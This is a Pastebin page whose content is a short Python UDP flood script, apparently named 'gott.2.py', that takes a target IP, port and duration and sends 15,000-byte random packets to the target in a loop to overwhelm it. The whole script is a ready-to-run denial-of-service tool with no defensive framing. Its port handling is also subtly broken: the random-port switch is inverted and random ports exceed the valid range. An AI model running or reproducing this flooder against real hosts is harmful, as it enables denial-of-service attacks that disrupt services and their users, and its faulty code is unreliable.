Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import socket,random,sys,time
- if len(sys.argv)==1:
- sys.exit('Usage: gott.2.py ip port(0=random) length(0=forever)')
- def UDPFlood():
- port = int(sys.argv[2])
- randport=(True,False)[port==0]
- ip = sys.argv[1]
- dur = int(sys.argv[3])
- clock=(lambda:0,time.clock)[dur>0]
- duration=(1,(clock()+dur))[dur>0]
- print('UDP_LAG Attacking: %s:%s for %s seconds'%(ip,port,dur or 'infinite'))
- sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
- bytes=random._urandom(15000)
- while True:
- port=(random.randint(1,15000000),port)[randport]
- if clock()<duration:
- sock.sendto(bytes,(ip,port))
- else:
- break
- print('DONE')
- UDPFlood()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement